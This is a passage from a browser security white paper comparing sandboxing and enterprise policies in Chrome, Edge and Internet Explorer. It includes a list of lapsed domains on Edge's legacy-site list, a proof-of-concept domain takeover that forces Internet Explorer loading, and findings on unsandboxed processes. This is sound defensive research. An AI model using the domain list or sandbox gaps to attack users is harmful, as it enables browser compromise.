3https://docs.microsoft.com/en-us/microsoft-edge/deploy/emie-to-improve-compatibility
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Figure 6.2: Legacy Dialog

If a website on this list is opened inMicrosoft Edge, a dialogue is shownwhich explains that this website
depends on legacy technology and can only be opened using Internet Explorer, as shown in figure 6.2. The
user is offered the choice to open thewebsite in Internet Explorer, or not to open thewebsite at all: it is not
possible to open this website inMicrosoft Edge from this dialogue. However, when opening such a website
using window.open in JavaScript, the dialogue was not shown, but the website is rendered in Microsoft
Edge to the extent, given the website is expected to only work in Internet Explorer.
An attacker able to control the contents of any website in this list could potentially attempt to get a
Microsoft Edge user to open it in Internet Explorer and then exploit an Internet Explorer specific security
issue. The superior security of Microsoft Edge no longer protects the user after they opened a legacy
website in Internet Explorer, so it may be easier for an attacker to compromise a system by attempting to
exploit vulnerabilities in Internet Explorer.
X41D-Sec GmbH identified 30 domains in this list that were no longer registered (see table 6.1).

Legacy Sites
bankpark.co.kr be-happy.co.kr cinelink.co.kr
diskbook.co.kr goormpin.co.kr imideo.com
joylotto.co.kr korea-movie.kr koreafashion.ac.kr
kpsi.go.kr kwangyang.ac.kr kyonggiedu.ac.kr
lottomini.co.kr moneypark.kr movielock.co.kr
movitown.co.kr nemodarak.com netan.go.kr
nubigi.co.kr paberivaba.ark.ee realspeed.kr
sandtandernet.com.br stylerank.net tcafe.net
torren-to.co.kr ts202.kr imideo.com
yesol-bank.co.kr zumm.co.kr alljeju.net

Table 6.1: UnregisteredWebsites in Compatibility List
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As a Proof of Concept (PoC) X41D-Sec GmbH registered the domain alljeju.net and hosted awebsite
under our control there. We found that opening this website inMicrosoft Edge provided us with the ex-
pected dialogue informing us the website could only be opened in Internet Explorer. By allowingMicrosoft
Edge to do this, we found our website did indeed get loaded in Internet Explorer and that we were able
to trigger Internet Explorer specific issues. There do not appear to be any checks that the content being
hosted at any of the domains in this list is still provided by the party that originally registered it, and not by
amalicious third-party. The dialogues shown to the user do not warn about the risk of opening a website in
Internet Explorer. We believes this is a realistic attack against users, especially enterprise users that are
familiar with the dialogue and used to clicking through it to open certain websites.
Google Chrome has a clear advantage overMicrosoft Edge in terms of secure interaction design and does
not offer an easy workflow to open pages in Internet Explorer.
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6.2 ENTERPRISEMANAGEMENT VIA GROUP POLICIES
Both Google Chrome andMicrosoft Edge support centralizedmanagement and configuration using Group
Policy settings onMicrosoftWindows. Group Policy is a feature ofMicrosoftWindows that offers fine-
grained control of configuration settings onmany different machines and user accounts from a centralized
location.
All tested browser platforms support group policies to do this. Policies can impact security as they specify
what features and actions are enabled for specific client systems. An example of this are the legacy sites
whitelists mentioned in the previous section.
All browsers allow enabling and disabling various features, but support different group policies to do this.
Themost interesting configuration options forMicrosoft Edge and Google Chrome onMicrosoftWindows
10 Creators Edition are shown in table 6.2.
Microsoft Edge Policy Google Chrome Policy Google ChromeDefault Setting Microsoft Edge/ Internet Ex-

plorer Default Setting
AllowDeveloper Tools DeveloperToolsDisabled Enabled Enabled
Allow InPrivate Browsing IncognitoModeAvailability Enabled Enabled
Allow web content on New Tab
Page

NTPContentSuggestionsEnabled
(similar)

Enabled Enabled
Configure Autofill AutoFillEnabled Enabled Enabled
Configure Cookies DefaultCookieSetting Enabled Enabled
Configure DoNot Track n/a n/a Disabled
Allow Extensions DefaultPluginsSetting Enabled Enabled
Configure Favorites ManagedBookmarks Disabled / Unset Disabled / Unset
Configure Home Pages HomepageLocation Disabled / Unset Disabled / Unset
Configure Passwordmanager PasswordManagerEnabled Enabled Enabled
Configure Pop-up Blocker DefaultPopupsSettings Enabled Enabled
Configure search suggestions in
Address bar

SearchSuggestEnabled Enabled Enabled
Configure SmartScreen Filter SafeBrowsingEnabled Enabled Enabled
Configure the Enterprise Mode
Site List

Hosts to Open In the Alternative
Browser

Disabled (Disabled)4

Access to about:flags n/a n/a Enabled
Prevent bypassing SmartScreen
prompts for files

SafeBrowsingEnabled Disabled Disabled
Prevent bypassing SmartScreen
prompts for sites

SafeBrowsingEnabled Disabled Disabled
Prevent using Localhost IP ad-
dress forWebRTC

n/a n/a Disabled
Send all intranet sites to Internet
Explorer 11

n/a n/a Disabled
Display warning when opening
Websites in Internet Explorer

n/a n/a Disabled

Table 6.2: Group Policy Options

In Google Chrome peripheral device access for WebUSB and WebBluetooth can be controlled via the
DefaultWebBluetoothGuardSetting,DeviceAllowBluetooth, andUsbDetachableWhitelist grouppoli-
cies. Security considerations regarding these features are given in chapter 13.
4Microsoft Compatibility List Active ByDefault.
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Thedefault configuration is considered very permissive and shownomayor differences between the various
browsers. Google Chrome has a wider range of policies that provides amore fine-grained control over the
configuration as described in the documentation5. However, not all of these settings impact security.
X41 D-Sec GmbH recommends to lock down browsers using the policies by whitelisting a limited list of
extensions and locking down the ability of users to turn off security mitigations.

5https://www.chromium.org/administrators/policy-list-3
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7 Sandboxing

Sandboxing can limit the impact of many types of vulnerabilities by isolating components of an application
from each other and from the rest of the system. In a sandbox, components run with their access privileges
to system resources and/or other components limited to the bare essentials needed to perform its function.
Thus, the privileges an attacker can gain by exploiting a security issue in these components is similarly
limited. The impact vulnerabilities can have for the end-user can be reduced by having amore fine-grained
separation of components, and fewer privileges for each of these components. Google Chrome,Microsoft
Edge, and Internet Explorer all use various forms of sandboxing in various situations.
Sandboxing is used by browsers to isolate complex components such as markup- and image file parsers,
DOM implementations and JavaScript interpreters. Since all browsers are written in non memory-safe
languages, these are prone tomemory corruption bugs, which often allow an attacker to execute arbitrary
codewhen exploited. Without sandboxing, the attacker’s code could thenmakemodifications to the disk,
other running processes, and/or the registry to gain more control over the system. With a proper sandbox,
the code can potentially be limited in what it can do to the point where the attacker does not gain anything
useful by being able to execute arbitrary code.

7.1 SANDBOXING TECHNIQUES
There are a number of technologies and techniques that can be used to create a sandbox on Microsoft
Windows. The most important ones are theWindows Integrity Mechanism1, AppContainers2, and job
objects3. In addition, the SetProcessMitigationPolicy4 function can be used to set several policies that limit
access to a number of Operating System (OS) features that may be useful to an attacker attempting to
break out of a sandbox. However, it can be debatedwhether these policies are sandboxing or hardening
techniques, we have decided to cover them in chapter 9.
1https://msdn.microsoft.com/en-us/library/bb625963.aspx
2https://msdn.microsoft.com/en-us/library/windows/desktop/mt595898(v=vs.85).aspx
3https://msdn.microsoft.com/en-us/library/windows/desktop/ms684161(v=vs.85).aspx
4https://msdn.microsoft.com/en-us/library/windows/desktop/hh769088(v=vs.85).aspx
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7.1.1 Integrity Levels
Windows integrity levels were introduced inMicrosoftWindows Vista as a way to limit what resources a
process can access. In short, the lower the integrity level of a process, the less access it has to the system.
If an object has a higher integrity level than a process, access to the object from the process is restricted
or prevented based on policies. More details about this can be found in the documentation5 provided by
Microsoft.

• Medium andHigh Integrity Processes runningwithmedium and high integrity have extensive access
to system resources since many of these resources run with low or medium integrity. Medium
integrity can be considered as running a process as a normal user, whereas high integrity as running as
an administrator. Any sandboxed process is expected to run at less thanmedium integrity to restrict
the level of access it has to the system.

• Low Integrity
Low integrity processes are subject to the following restrictions6:
– Most windowmessages and process hooks are blocked by User Interface Privilege Isolation
(UIPI)7.

– Opening a process and usingCreateRemoteThread is blocked by themandatory label on process
objects.

– Opening a sharedmemory section for write access is blocked.
– Using a named object created by a higher integrity process for synchronization is blocked by the
default mandatory label.

– Binding to a running instance of a Component ObjectModel (COM) service is blocked.
However, they can access:
– Clipboard (copy and paste)
– Remote Procedure Calls (RPC)
– Sockets
– Windowmessages that the higher-integrity process has been explicitly allowed to receive from
lower-integrity processes by calling ChangeWindowMessageFilter

– Sharedmemory, where the higher-integrity process explicitly lowers themandatory label on the
sharedmemory section

– COM interfaces, where the launch activation rights are set programmatically by the higher-
integrity process to allow binding from low integrity clients

5https://msdn.microsoft.com/en-us/library/bb625963.aspx
6https://msdn.microsoft.com/en-us/library/bb625960.aspx
7https://en.wikipedia.org/wiki/User_Interface_Privilege_Isolation
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– Named pipes, where the creator explicitly sets themandatory label on the pipe to allow access
to lower-integrity processes

• Untrusted Integrity
The untrusted level is the lowest integrity level inMicrosoftWindows. It is associated to the anony-
mous SID. Access to system resources is severely restricted. Most importantly untrusted integrity
processes are restricted from accessing (writing) resources having a low, medium or high integrity
level.

7.1.2 AppContainers
AppContainers are processes running inMicrosoftWindows that have their access rights limited by denying
them access to all secured objects on the system by default. They can be granted access to secured objects
using a white-list that is applied to the secured object: one or more AppContainers can be given access to a
secured object by adding a specific entry to the white-list for that secured object.
White-listing is done using Security Identifier (SID) in an Access Control Entry (ACE). There are three
different types of SID that can be used to grant access based on specific criteria 8:

• Capability SIDs
ACapability SID can be given to a process in order to give it access to a specific resource. There are a
number of Capability SIDs that can be used to grant an AppContainer access to resources such as
the Network, aWebCam, various parts of the filesystem, and so on. Only AppContainers that have
explicitly been granted a Capability SID for a specific resource can access that resource.

• AppID SIDs
An AppID SID can be used to provide access to a secured resource to AppContainers that belong to a
specific application. For instance, a secured object that represents a private storage for an application
can be given an ACE that specifies that any AppContainer attempting to access it should have a
specific AppID that belongs to this application.

• ALL APPLICATIONPACKAGES (“AC”) SID
An AC SID is a wildcard that allows all AppContainers access. This is used for secured objects that do
not have any access restrictions. For instance, theWinRT Application Programming Interface (API) is
accessible to all AppContainers.

The AC SID, which normally gives all AppContainers full access to a secured object has been disabled in
Microsoft Edge AppContainers in order to further limit their access to the system. Replacements for
secured objects with an AC SID that are required forMicrosoft Edge to function have been created in a
8https://msdn.microsoft.com/en-us/library/windows/desktop/mt595898(v=vs.85).aspx
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broker. All these replacements have either Capability SIDs and/or AppID SIDs applied to limit access to
them to only those AppContainers that need them.
There are a number of predefined Capability SIDs available, some of which are documented9. Microsoft
commonly uses a short name (e.g. internetClient) to refer to these capabilities but internally the OS
uses a numeric SID and, in some cases, a different, longer name (such as S-1-15-3-1 and APPLICATION
PACKAGE AUTHORITY\Your Internet connection respectively in this case). Wewere unable to find an
official and definitive list of all capabilities, or of their SIDs and these longer names anywhere on the web,
but found that we could ask the system to return the SID and (if available) the longer name for a given
capability. We compiled a list of all capabilities that we could find in various pages onMicrosoft Developer
Network (MSDN), and created a tool that queries the system for their SID and longer name in order to
create a translation table. This table was used during our tests to provide easier to read information about
an AppContainer’s capabilities. A list of the capabilities we found, their SIDs and these longer names is
available in appendix A.
Themost important app capabilities for our purpose are those used byMicrosoft Edge:

• internetClient: Allows apps to make connections to and receive incoming data from the Internet.
This capability does not allow an app to act as a server and accept connections. It also does not
allow local network access. This is also referred to asAPPLICATIONPACKAGEAUTHORITY\Your
Internet connection.

• privateNetworkClientServer: Provides access to a home or work network, the app can send infor-
mation to or from your computer and other computers on the same network. Allows apps inbound
and outbound access to home and work networks through the firewall. This capability is typically
used for games that communicate across the local area network (LAN), and for apps that share data
across a variety of local devices. This capability does not provide access to the Internet. This is also
referred to asAPPLICATIONPACKAGEAUTHORITY\Your home orwork networks.

• enterpriseAuthentication: Provides access to yourWindows credentials, for access to a corporate
intranet. This application can impersonate you on the network. This is also referred to asAPPLICA-
TIONPACKAGEAUTHORITY\YourWindows credentials.

• enterpriseDataPolicy: Allows apps to define and use enterprise-specific policies for the device. This
is also referred to asNAMEDCAPABILITIES\Enterprise Data Policy

• confirmAppClose: Allows apps to close themselves, their ownwindows, and delay the closing of their
app. This is also referred to asNAMEDCAPABILITIES\ConfirmApp Close

• extendedExecutionBackgroundAudio: Allows apps to play audio when the app is not in the fore-
ground. This is also referred to asNAMEDCAPABILITIES\Extended Execution Background Audio

• extendedExecutionUnconstrained: Allows apps to begin an unconstrained extended execution ses-
sion. This is also referred to asNAMEDCAPABILITIES\Extended Execution Unconstrained

9https://docs.microsoft.com/en-us/windows/uwp/packaging/app-capability-declarations
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• packageQuery: Allows apps to gather information about other apps. This is also referred to as
NAMEDCAPABILITIES\PackageQuery

• picturesLibrary: Provides access to your pictures library, including the capability to add, change, or
delete files. This capability also includes pictures libraries on HomeGroup computers, along with
picture file types on locally connected media servers. This is also referred to as APPLICATION
PACKAGEAUTHORITY\Your pictures library.

• sharedUserCertificates: Provides access to software and hardware certificates or a smart card used
to identify you in the app. This capabilitymay be used by your employer, bank, or government services
to identify you. This is also referred to as APPLICATION PACKAGE AUTHORITY\Software and
hardware certificates or a smart card.

• targetedContent: Allows retrieving and using of targeted subscription content provided by the
Windows.Services.TargetedContent namespace. It seems to be related10 to advertising related
content that is specific for certain users. This is also referred to asNAMEDCAPABILITIES\Targeted
Content.

Note that the network category of the local network determines the level of access granted with the
internetClient: if the local network is set to private, AppContainers with this capability cannot connect
to machines on the same network, but if the local network is set to public, the same AppContainers can
connect to other localmachines. Thismakes some sense if you think about it, but it may be counter-intuitive
to consider the local intranet part of the Internet.
In addition to these, we foundMicrosoft Edge uses a number of “named capabilities” for which wewere
unable to find any documentation. Reverse engineering the code to find outmore about these is outside the
scope of this paper, so wewill use their names to infer their purpose. Capability SIDs can also be created
for other resources on demand, and granted to only those AppContainers that require access to these
resources in order to limit access to these resources from all other AppContainers. Microsoft Edge uses a
number of unnamed SIDs, which we expect are used for accessing resources through brokers.
Without the right capability, a process’ access to the relevant resource is restricted. For example, a process
without any of the network related capabilities will have no access to the network. Note that this differs
from processes sandboxed using only low integrity, as their access to the network is not restricted.
10https://docs.microsoft.com/en-us/windows/uwp/publish/use-targeted-offers-to-maximize-engagement-and-c

onversions
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7.1.3 Job (Kernel) Objects
One of the oldest techniques onMicrosoft Windows to restrict processes is using job objects. They can
be used to set restrictions on a group of processes, e.g. to limit the amount of memory they can use. They
also allow preventing process from performing certain actions, some of which are listed in the sandbox
description document11 provided by the Chromium project:

• Forbid per-use system-wide changes using SystemParametersInfo(), which can be used to swap the
mouse buttons or set the screen saver timeout

• Forbid the creation or switch of Desktops
• Forbid changes to the per-user display configuration such as resolution and primary display
• No read or write to the clipboard
• ForbidWindowsmessage broadcasts
• Forbid setting globalWindows hooks (using SetWindowsHookEx())
• Forbid access to the global atoms table
• Forbid access to USER handles created outside the Job object
• One active process limit (disallows creating child processes)

As seen above, they can be quite beneficial to prevent certain dangerous actions. We tested the processes
belonging to thebrowsersmanually using theProcessExplorer tool, and identified the job limits as displayed
in figure 7.1, Google Chrome uses such restricted job objects for sandboxed renderers. Microsoft Edge uses
job limits to limit memory consumption in content processes and Internet Explorer uses them to ensure
content processes are terminated when the job closes as seen in figure 7.2.
More information about job objects can be found in the documentation12 byMicrosoft.

7.1.4 Other Sandboxing Settings and Techniques
Additionally to the techniques described above, the tested browsers employ other restrictions to create
and secure sandboxes. Most importantly Google Chrome and Internet Explorer use restricted tokens to
limit access of the processwhileMicrosoft Edge usesAppContainers (LowBox tokens). As seen in figures 7.3
and 7.4, the token for Google Chrome is more restricted.
11https://chromium.googlesource.com/chromium/src/+/b4730a0c2773d8f6728946013eb812c6d3975bec/docs/design/s

andbox.md#The-Job-object
12https://www.microsoft.com/msj/0399/jobkernelobj/jobkernelobj.aspx
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Figure 7.1: Google Chrome Renderer Job Limits

Figure 7.2:Microsoft Edge and Internet Explorer Content-Process Job Limits

Another restriction employed by Google Chrome is the usage of an alternate desktop for sandboxed
renderers. This means that processes using the main desktop cannot send window messages to the
sandboxed process andmore importantly vice-versa.
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Figure 7.3: Google Chrome Restricted Token

Figure 7.4: Internet Explorer Restricted Token

7.1.5 Sandbox Inter Process Communication (IPC)
The described sandboxing techniques require the components that make up a browser to be split across
several processes. Since these processes have different trust levels and need to communicate and exchange
data, authorization is need. For example if a renderer process requires access to a resource, the broker
process needs to ensure that this is allowed.
Microsoft Edge and Internet Explorer use COMmessages for communication between the different pro-
cesses. Google Chrome uses its own techniques for inter-process communication named IPC andMojo: IPC
is currently being replacedwithMojo13. Actions are restricted using a policy in Google Chrome enforced
by themain (broker) process. Microsoft Edge and Internet Explorer use the security features and access
control provided by COM as observed when doing a manual inspection and slight reverse engineering
of the communication between the browser components. Analyzing the full implementation of policies
regarding IPC is outside the scope of this paper. In manual tests regarding logic bugs and authorization
failures, the enforcement measures seemed to be working well in Google Chrome, Microsoft Edge, and
Internet Explorer.
In terms of security IPC is an important attack vector since itmay allowbypassing of sandboxing restrictions
13https://www.chromium.org/developers/design-documents/mojo/chrome-ipc-to-mojo-ipc-cheat-sheet
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without exploiting any flaws in the isolation provided by the sandbox. However, attacks using IPC onmore
privileged components of the browser are outside the scope of the sandbox itself. We expect the risk of
undetected logic flaws (such as missing authorization checks on dangerous functionality) to be equally
likely in all tested browsers. However, compared to IPC andMojo used by Google Chrome, we consider
COM to bemore complex and amuch larger attack surface. A comprehensive documentation14 of COM
security is available on theMicrosoft website.
Google Chrome has documented the dangers of IPC in the sandbox context for use by developers15. We
were unable to find a similar document forMicrosoft Edge or Internet Explorer, which is likely due to the
fact that these browsers are (mostly) closed source.

7.2 SANDBOX TESTING METHODOLOGY
We developed a suite of automated tests to reliably and repeatably determine the limits of the various
sandboxes used by the tested browsers. These tests start each browser in a debugger and have them open
one or more pages in order to have each browser start at least one copy of each type of process wewanted
to test. This includes processes that host HTMLwebpages, Adobe Flash,WebGraphics Library (WebGL)
and settings pages. It allows each process to run for a few seconds in order to initialize and load all relevant
binaries before suspending all processes and starting the tests. This allows us to determine exactly what
processes are started andwhat an attacker could do fromwithin the sandbox of each process.
The same test suite also tests what hardening techniques are applied to each process and binary. The
results of those tests are not immediately relevant to sandboxing, andwill be discussed in section 9.
To start each browser in a debugger, a slightly modified version of BugId16 was used, which is developed
by one of the authors of this paper. BugId was chosen because of the author’s familiarity with its code
and because it is one of the few (if not only) applications that can debug Universal Windows Platform
applications such asMicrosoft Edge that is relatively easy tomodify to integrate our test scripts. The BugId
codewasmodified by adding two lines that load and call our testing code for each process created by the
application being debugged.
The testing code runs a number of third-party applications that are specifically designed to test the presence
and effectiveness of sandboxes and hardening techniques. For the sandboxing tests, we used the sandbox-
attack-surface-analysis-tools17 developed by James Forshaw. Specifically, we employed:

• CheckFileAccess to determine what files and folders a process can access on the local file system.
The command-line used for these tests is:
CheckFileAccess -q -r -w pid=<process id> “%SystemDrive%”

14https://msdn.microsoft.com/en-us/library/windows/desktop/ms693319(v=vs.85).aspx
15https://www.chromium.org/Home/chromium-security/education/security-tips-for-ipc
16https://github.com/SkyLined/BugId
17https://github.com/google/sandbox-attacksurface-analysis-tools
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• CheckNetworkAccess to determine if a process can make network connections on the loopback
device, over the intranet and to the Internet. As well as determine if a process can accept incoming
connections on the loopback device and intranet. The command-lines used for these tests are:
– To test if the process can listen on the local loopback device:

CheckNetworkAccess -p <process id> -l 127.0.0.1 28888

– To test if the process can listen on the local network:
CheckNetworkAccess -p <process id> -l <ip address of test machine> 28888

– To test if the process can connect to the local loopback device:
CheckNetworkAccess -p <process id> 127.0.0.1 28876

– To test if the process can connect to the local network:
CheckNetworkAccess -p <process id> <ip address of test machine> 445

– To test if the process can connect to the internet:
CheckNetworkAccess -p <process id> example.com 80

The port number 28876 is used to connect to on the local network, because a web-server is running
at that port during testing to serve up test pages. Port number 28888 is used to listen on, because it is
assumed to not be in use. Transmission Control Protocol (TCP) port number 445 is used to connect to
on the local intranet, as this is open by default onMicrosoftWindows 10. Port 80 is used to connect
to on the Internet, as example.com has a web-server running on that Internet Protocol (IP) address.

• CheckProcessAccess to determine if a process can access other processes on the system. The
command-line used for these tests is: CheckProcessAccess -p <process id>

• CheckRegistryAccess to determine if a process can access the registry.
– To test if the process can access any of the user’s registry keys:

CheckRegistryAccess -w -r -p <process id> hkey_current_user

– To test if the process can access any of the local machine’s registry keys:
CheckRegistryAccess -w -r -p <process id> hkey_local_machine

These tests take the access token for each process and use it to attempt to access the relevant resources. If
this succeeds, it proves that an attacker running inside the sandbox could access this resource.
All checks performed use theWindows user-land API. X41D-Sec GmbH did not investigate if it is possible
to access any of these resources by using syscalls directly. If it were possible to access resources through
syscalls that should be inaccessible because of the process’ AppContainer or Integrity level, this constitutes
a bug in the AppContainer or Integrity Level Mechanism implementation and not a bug in the browser.
However, access to some resources, most notably the network inGoogle Chrome, is not restricted by either,
but through additional custom techniques. It may be possible for a clever attacker to findways around this.
These tools were run and their output parsed automatically to produce a number of reports for each
process. The name of these reports can indicate if a test has passed (e.g. the sandbox is preventing access
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to the relevant resource) or failed (e.g. the process can access all or parts of the relevant resource). If a test
has failed, the report showswhich parts of the resource the process is able to access. It could be that partial
access to a resource is by design. For instance, AppContainers normally have access to a small, dedicated
part of the file system to store private data. When examining the results, one should therefore not rely
toomuch on the file name, but take into consideration its contents as well, before deciding if a sandbox is
sufficiently limiting access to this resource. Processing the results is therefore non-trivial and requires a
deep understanding of the sandbox. This is why our tools have not been automated further to provide a
single Boolean (passed/failed) as output for each sandbox.
Note that as explained above, the level of access an AppContainer with the internetClient capability has
to the local network depends on the network category, as shown in theNetworking and Sharing Center
(Control Panel\All Control Panel Items\Network and Sharing Center, see figure 7.5 ).

Figure 7.5: Networking and Sharing Center showing a private network

To determine to what extent this level of access differs between Public and Private networks, we ran
our tests for Microsoft Edge twice for both types. To change the network category we used the Set-
NetConnectionProfile Powershell script, like so:
Set-NetConnectionProfile -InterfaceIndex (Get-NetConnectionProfile).InterfaceIndex

-NetworkCategory [Private|Public]

For the sake of brevity, we will not provide full lists of all files and registry keys the various sandboxed
processes can access; wewill only provide a general description of their level of access. If you are interested
in the details, you can grab the test and a sample results set from our github repository.
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7.3 GOOGLE CHROME SANDBOX
Google Chrome runs its various components in separate processes, some of which are sandboxed. A
combination of lower integrity levels, low privilege tokens, job objects, and hardening techniques (such
as the win32k lock-down) are used to implement the sandbox. As mentioned before, these hardening
techniques are covered in chapter 9.
Each process after the main process that is started by Google Chrome will be provided with a type=...
command-line argument. This command line argument can be used to determine its role and tell us which
components will be run in this process. The processes and their purpose are described in section 3.1. Note
that the internal PDF reader does not run in a separate type of sandbox, but in a renderer process similar
to regular webpages.
See table 7.1 for test results for the various process types.

7.3.1 Main process

Resource Access
Network Allowed
Private networks and loopback Allowed
Port binding Allowed
File system Allowed
Registry Allowed
Process Allowed
Table 7.1: Google ChromeMain Process Sandbox

Themain process hosts the Google ChromeUIWindows and handles network traffic among other things. It
is not sandboxed and runs at medium integrity. It has the same level of access to the system as the user
running Google Chrome has. Because it handles network traffic, including processing of the protocols used
for communication, any vulnerability in the network stack is not mitigated by a sandbox.
Processing of network protocols should not require access to many resources and can be complex and
prone to vulnerabilities. Because it operates on attacker supplied data, it is a very interesting attack vector.
X41D-Sec GmbHwould like to suggest that this will bemoved to a separate, sandboxed process to limit the
potential damage of a vulnerability in this component.
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7.3.2 type=crashpad-handler and type=watcher processes

Resource Access
Network Allowed
Private networks and loopback Allowed
Port binding Allowed
File system Allowed
Registry Allowed
Process Allowed

Table 7.2: Google Chrome Crashpad Process Sandbox

The crashpad handler (see table 7.2) and watcher processes handle gathering statistics and reporting
crashes in Google Chrome back to Google. Neither of these is sandboxed and both run at medium integrity.
They have the same level of access to the system as the user running Google Chrome has. Any vulnerability
in the handling and reporting of statistics and crashes in these processes is therefore notmitigated by a
sandbox.
As far as X41D-Sec GmbH knows, there have been no public reports of vulnerabilities in these two com-
ponents, meaning they are either simple enough to be relatively robust, or they have not receivedmuch
attention from external security researchers. X41D-Sec GmbHwould nevertheless like to suggest consid-
ering sandboxing these processes, as we assume the access to resources they require is not prohibitive.

7.3.3 type=renderer and type=ppapi processes

Resource Access
Network Blocked
Private networks and loopback Blocked
Port binding Blocked
File system Blocked
Registry Blocked
Process Blocked

Table 7.3: Google Chrome Render and PPAPI Process Sandbox

The renderer process (see table 7.3) in Google Chrome is used to render webpages. It parses HTML,
Scalable Vector Graphics (SVG), Cascading Style Sheets (CSS), images, runs JavaScript, etc. PDF files are
rendered in this type of process as well. These components are all complex and contain a lot of surface area
in which to find vulnerabilities. Themajority of the vulnerabilities found in Google Chrome so far have been
in code that runs inside renderer processes. The Pepper Plugin API (PPAPI) process is used to host plug-ins
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such as Flash, the code for which is complex and has hadmany vulnerabilities reported in the past.
Sandboxing of these two processes is paramount, as they are themost likely attack vector. We consider
them well-sandboxed: they both run at untrusted integrity level, which severely limits their access to
objects on the system as follows:

• File access: these processes cannot access any part of the file system.
• Network access: these processes cannot use the network.
• Registry access: these processes cannot access any part of the registry.
• Process access: these processes cannot access any other processes.

7.3.4 type=gpu-process

Resource Access
Network Allowed
Private networks and loopback Allowed
Port binding Allowed
File system Partially Blocked
Registry Partially Blocked
Process Partially Blocked
Table 7.4: Google ChromeGPUProcess Sandbox

The Graphics Processing Unit (GPU) process (see table 7.4) is used to implement WebGL, which is a
JavaScript API for rendering graphics. It allows hardware acceleration, which requires access to the
graphics hardware. In Google Chrome this means the process cannot be sandboxed as firmly as other
processes and does havemore access to the system. The GPU process runs at low integrity.

• File access: this process is able to access the folders%ProgramData%\Microsoft\DeviceSyncwith nearly
full access and%ProgramData%\Microsoft\PlayReadywith full access.

• Network access: this process can bind to a local socket, and it can connect to the loopback device,
intranet and Internet.

• Registry access: The process can access two locations in the registry: \SOFTWARE\Microsoft\DRM and
\SOFTWARE\WOW6432Node\Microsoft\DRM These two contain basically the same information, but for
64-bit and 32-bit applications respectively. The process has the following access rights to these:
QueryValue, SetValue, CreateSubKey, EnumerateSubKeys, Notify, CreateLink, ReadControl,
WriteDac, and WriteOwner.
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• Process access: this process can access various other processes. The processes it can access are a
sub-set of all the processes running as the currently logged-in user. It has the following access rights
to these: Terminate, QueryLimitedInformation, and Synchronize.

7.4 MICROSOFT EDGE SANDBOX
Microsoft Edge uses AppContainers to implement its sandbox 18. Besides the sandboxed processes, which
wewill describe in more details below, Edge uses a number of utility processes that are not sandboxed. This
includes:

• browser_broker.exe: a special broker process that brokers access to various resources that the sand-
boxed processes cannot access directly,

• RuntimeBroker.exe: a generic broker process that brokers access to various resources for all UWP
apps,

• ApplicationFrameworkHost.exe: a process that handles UI window creation for all UWP apps,

UWP apps like Microsoft Edge have access to various OS features that are implemented in separate
processes such as RuntimeBroker.exe and ApplicationFrameworkHost.exe. Theymay provide opportunities
for an attacker to attempt to escape a sandbox, because they can be interactedwith fromMicrosoft Edge.
However, these processes are part of the UWP framework, and therefore outside of the scope of this paper.
Microsoft documentsMicrosoft Edge uses various different AppContainers to separate its components:

• Manager AppContainer: provides general browser UI features such as navigation buttons, address
bar, tabs, favorites, etc.

• Internet AppContainer: hosts/renders websites of the internet.
• Intranet AppContainer: hosts/renders websites of the local intranet.
• Extensions AppContainer: hosts extensions.
• Flash AppContainer: hosts Adobe Flash.
• Services UI AppContainer: hostsMicrosoft Edge UI websites, such as about:flags, new tab page,
etc. . .

Note that the internal PDF reader does not run in a separate type of sandbox, but in an intranet/Internet
AppContainer similar to regular webpages.
18https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/
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Unfortunately,Microsoft does not explain how theseAppContainers differ fromeach other and provides no
information to help map runningMicrosoft Edge processes to the above list. All AppContainers except the
Manager AppContainer have exactly the same capability SIDs, access to the network, file system and other
processes. However, we foundwe could identify what type of AppContainer was hosting in a processes
by looking at the registry keys it was able to open, as each type of AppContainer appears to be assigned a
specific number key for storing various information. More details will be given below.
A bit of reverse engineering of the browser_broker process suggests that the different types of AppCon-
tainers have different levels of access to the browser_broker IPC, which is enforced through a different
mechanism. Reverse engineering the code completely to find out exactly how this is implemented is outside
the scope of this paper.
Wewere able to open the about:flags page fromawebpage using an iframe, and found itwas hosted in the
same process as the webpage that contained the iframe. This appears to contradict that settings pages are
always opened in a separate AppContainer. However, the settings page does not appear to be functional;
none of the settings check boxes are checked even when they are checked in a “regular” about:flags
page, and modifying any setting does not actually cause that setting to change. This is due to the fact
that the window.external bindings required to read and modify experimental settings are not available
to processes that host webpages. However, we observed that the page has the origin ms-appx-web:

//microsoft.microsoftedge, this gives access to the local application Resource folder andmight allow
access to other resources on the same origin. Investigating this furtherwas outside the scope of this project.
The various AppContainers and their capabilities are detailed below.

7.4.1 Manager AppContainer

Resource Access
Network Allowed
Private networks and loopback Partially Blocked
Port binding Blocked
File system Partially Blocked
Registry Partially Blocked
Process Partially Blocked
Table 7.5:Microsoft EdgeManager AppContainer Sandbox

AppContainer Manager (see table 7.5) is the main browser process for Microsoft Edge and runs at low
integrity.
This process has the following named capabilities:

X41D-SECGmbH Page 50 of 197

about:flags
about:flags
ms-appx-web://microsoft.microsoftedge
ms-appx-web://microsoft.microsoftedge


Browser SecurityWhite Paper

• internetClient,
• privateNetworkClientServer,
• enterpriseAuthentication,
• enterpriseDataPolicy,
• extendedExecutionBackgroundAudio,
• extendedExecutionUnconstrained,
• packageQuery,
• slapiQueryLicenseValue,
• picturesLibrary,
• sharedUserCertificates,
• targetedContent, and
• confirmAppClose.

Wewill discuss these grouped by the resources they grant access to.

• File access: this process is able to access all files and folders in the%ProgramData%\Microsoft\Windows\-
WER folder, which belongs toWindows Error Reporting. It can also access all files in all sub-folders
in the%LocalAppData%\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe folder, except for files in
the AppData and SystemAppData sub-folders of that folder. This part of the file system is set aside for
Microsoft Edge to use for storage, so this file-system access is by design and does not appear to raise
any security issues. Through the picturesLibrary capability, it also has the ability to add, change,
or delete files in the user’s pictures library on the local as well as other Homegroup computers and
locally connectedmedia servers.

• Network access: this process has the internetClient and privateNetworkClientServer capabil-
ities and is therefore able to open connections to the local loopback device, the local intranet and
the Internet and can accept connections on the local loopback device and the local intranet (except
on “critical” ports). The picturesLibrary capability also grants access to certain network resources,
but this is a subset of the access granted by the two network-specific capabilities.

• Process access: this process has full access to itself and all other AppContainers runningMicrosoft-
EdgeCP.exe. This appears to be by-design and does not appear to raise any security issues as these
processes have even tighter controlled sandboxes, so compromising themwould be a step downwards
in privilege for an attacker.
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• Registry access: this process has full access to a number of keys in the HKEY_CURRENT_USER hive. The
process also has access in a number of locations in the HKEY_LOCAL_MACHINE hive, but access to some
of these is limited. All these keys appear to be related to settings and licensing and do not appear to
